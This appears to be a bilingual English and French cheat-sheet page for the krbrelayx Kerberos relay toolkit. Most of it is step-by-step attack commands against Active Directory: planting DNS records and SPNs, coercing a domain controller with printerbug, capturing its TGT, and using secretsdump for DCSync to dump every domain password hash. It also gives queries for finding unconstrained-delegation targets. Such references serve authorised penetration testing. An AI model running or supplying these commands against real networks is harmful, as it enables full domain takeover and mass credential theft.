krbrelayx

Boîte à outils d'attaque par relais Kerberos. Abuse de la délégation non contrainte pour capturer et relayer des tickets Kerberos, permettant l'escalade de privilèges et le mouvement latéral dans les environnements AD. Kerberos relay attack toolkit. Abuses unconstrained delegation to capture and relay Kerberos tickets, enabling privilege escalation and lateral movement in AD environments.

↗ https://github.com/dirkjanm/krbrelayx

Overview

krbrelayx exploits Kerberos relay attacks, primarily targeting unconstrained delegation. When a machine with unconstrained delegation is coerced into authenticating to an attacker-controlled machine, the TGT is embedded in the service ticket and can be extracted and reused. Pairs with coercion tools like printerbug, PetitPotam, or Coercer.

Components

krbrelayx.py    — Relay server that captures Kerberos tickets
addspn.py       — Add/modify SPNs on accounts
dnstool.py      — Add DNS records pointing to attacker machine
printerbug.py   — Trigger SpoolSS coercion (printer bug)

Basic Attack Flow (Unconstrained Delegation)

Step 1: Add a DNS record pointing to your machine

python3 dnstool.py -u 'DOMAIN\user' -p 'P@ssw0rd' --record 'attacker' --action add --data 10.10.10.50 DC01

Step 2: Add an SPN on a controlled account

python3 addspn.py -u 'DOMAIN\user' -p 'P@ssw0rd' -s 'HOST/attacker.domain.local' DC01

Step 3: Start krbrelayx listener

python3 krbrelayx.py --krbsalt 'DOMAIN.LOCALattacker$' --krbpass 'AccountPassword'

Step 4: Coerce authentication from target with unconstrained delegation Using printerbug

python3 printerbug.py 'DOMAIN/user:P@ssw0rd'@DC01 attacker.domain.local
# Step 5: Extract TGT from captured ticket
# krbrelayx saves .ccache files → use with impacket tools
export KRB5CCNAME=/path/to/captured.ccache
python3 secretsdump.py -k -no-pass DC01

Attack with Computer Account

# If you've compromised a computer with unconstrained delegation
# and can coerce other computers to authenticate to it:

Start krbrelayx on the target machine

./krbrelayx -aesKey <AES_KEY> -hashes <NTLM>

Coerce DC to authenticate

python3 printerbug.py 'DOMAIN/computeraccount$'@DC01 compromised-server.domain.local

Extract the DC’s TGT from captured ticket Use DC TGT → DCSync → dump all hashes

secretsdump.py -k -no-pass 'DC01.domain.local'

dnstool.py — DNS Manipulation

Add a DNS A record

python3 dnstool.py -u 'DOMAIN\user' -p 'pass' --record 'evil' --action add --data 10.10.10.50 DC01

Remove a DNS record

python3 dnstool.py -u 'DOMAIN\user' -p 'pass' --record 'evil' --action remove DC01

Query DNS records

python3 dnstool.py -u 'DOMAIN\user' -p 'pass' --record 'evil' --action query DC01

addspn.py — SPN Management

Add SPN to account

python3 addspn.py -u 'DOMAIN\user' -p 'pass' -s 'HOST/attacker.domain.local' DC01

Remove SPN

python3 addspn.py -u 'DOMAIN\user' -p 'pass' -s 'HOST/attacker.domain.local' --remove DC01

List SPNs on account

python3 addspn.py -u 'DOMAIN\user' -p 'pass' -q DC01

Tips

  • Unconstrained delegation is rare but impactful — always check in BloodHound
  • krbrelayx is most powerful when combined with coercion (PrinterBug, PetitPotam, Coercer)
  • Captured .ccache files can be used directly with impacket’s -k flag
  • Requires control of an account with unconstrained delegation or SPN manipulation rights
Identifying Unconstrained Delegation Targets

With PowerView

Get-DomainComputer -Unconstrained | Select-Object Name, DNSHostName
# With BloodHound: "Find Computers with Unconstrained Delegation" query

With ldapsearch

ldapsearch -x -H ldap://DC01 -D "user@domain.local" -W \
  -b "DC=domain,DC=local" \
  "(&(objectCategory=computer)(userAccountControl:1.2.840.113556.1.4.803:=524288))" \
  cn

Vue d’ensemble

krbrelayx exploite les attaques par relais Kerberos, en ciblant principalement la délégation non contrainte. Lorsqu’une machine avec délégation non contrainte est forcée à s’authentifier auprès d’une machine contrôlée par l’attaquant, le TGT est embarqué dans le ticket de service et peut être extrait et réutilisé. Se combine avec des outils de coercition comme printerbug, PetitPotam ou Coercer.

Composants

krbrelayx.py    : serveur de relais qui capture les tickets Kerberos
addspn.py       : ajoute/modifie des SPN sur les comptes
dnstool.py      : ajoute des enregistrements DNS pointant vers la machine attaquante
printerbug.py   : déclenche la coercition SpoolSS (printer bug)

Flux d’attaque de base (délégation non contrainte)

# Étape 1 : ajouter un enregistrement DNS pointant vers votre machine
python3 dnstool.py -u 'DOMAIN\user' -p 'P@ssw0rd' --record 'attacker' --action add --data 10.10.10.50 DC01

# Étape 2 : ajouter un SPN sur un compte contrôlé
python3 addspn.py -u 'DOMAIN\user' -p 'P@ssw0rd' -s 'HOST/attacker.domain.local' DC01

# Étape 3 : démarrer le listener krbrelayx
python3 krbrelayx.py --krbsalt 'DOMAIN.LOCALattacker$' --krbpass 'AccountPassword'

# Étape 4 : forcer l'authentification de la cible en délégation non contrainte via printerbug
python3 printerbug.py 'DOMAIN/user:P@ssw0rd'@DC01 attacker.domain.local

# Étape 5 : extraire le TGT du ticket capturé
# krbrelayx sauvegarde des fichiers .ccache → à utiliser avec les outils impacket
export KRB5CCNAME=/path/to/captured.ccache
python3 secretsdump.py -k -no-pass DC01

Attaque avec un compte machine

# Si vous avez compromis une machine avec délégation non contrainte
# et pouvez forcer d'autres machines à s'y authentifier :

# Démarrer krbrelayx sur la machine cible
./krbrelayx -aesKey <AES_KEY> -hashes <NTLM>

# Forcer le DC à s'authentifier
python3 printerbug.py 'DOMAIN/computeraccount$'@DC01 compromised-server.domain.local

# Extraire le TGT du DC depuis le ticket capturé
# Utiliser le TGT du DC → DCSync → dump de tous les hashes
secretsdump.py -k -no-pass 'DC01.domain.local'

dnstool.py : manipulation DNS

# Ajouter un enregistrement DNS A
python3 dnstool.py -u 'DOMAIN\user' -p 'pass' --record 'evil' --action add --data 10.10.10.50 DC01

# Supprimer un enregistrement DNS
python3 dnstool.py -u 'DOMAIN\user' -p 'pass' --record 'evil' --action remove DC01

# Interroger les enregistrements DNS
python3 dnstool.py -u 'DOMAIN\user' -p 'pass' --record 'evil' --action query DC01

addspn.py : gestion des SPN

# Ajouter un SPN à un compte
python3 addspn.py -u 'DOMAIN\user' -p 'pass' -s 'HOST/attacker.domain.local' DC01

# Supprimer un SPN
python3 addspn.py -u 'DOMAIN\user' -p 'pass' -s 'HOST/attacker.domain.local' --remove DC01

# Lister les SPN d'un compte
python3 addspn.py -u 'DOMAIN\user' -p 'pass' -q DC01

Conseils

  • La délégation non contrainte est rare mais impactante : toujours vérifier dans BloodHound
  • krbrelayx est le plus puissant lorsqu’il est combiné à une coercition (PrinterBug, PetitPotam, Coercer)
  • Les fichiers .ccache capturés peuvent être utilisés directement avec le flag -k d’impacket
  • Nécessite le contrôle d’un compte avec délégation non contrainte ou des droits de manipulation des SPN
Identifier les cibles en délégation non contrainte

With PowerView

Get-DomainComputer -Unconstrained | Select-Object Name, DNSHostName
# With BloodHound: "Find Computers with Unconstrained Delegation" query

With ldapsearch

ldapsearch -x -H ldap://DC01 -D "user@domain.local" -W \
  -b "DC=domain,DC=local" \
  "(&(objectCategory=computer)(userAccountControl:1.2.840.113556.1.4.803:=524288))" \
  cn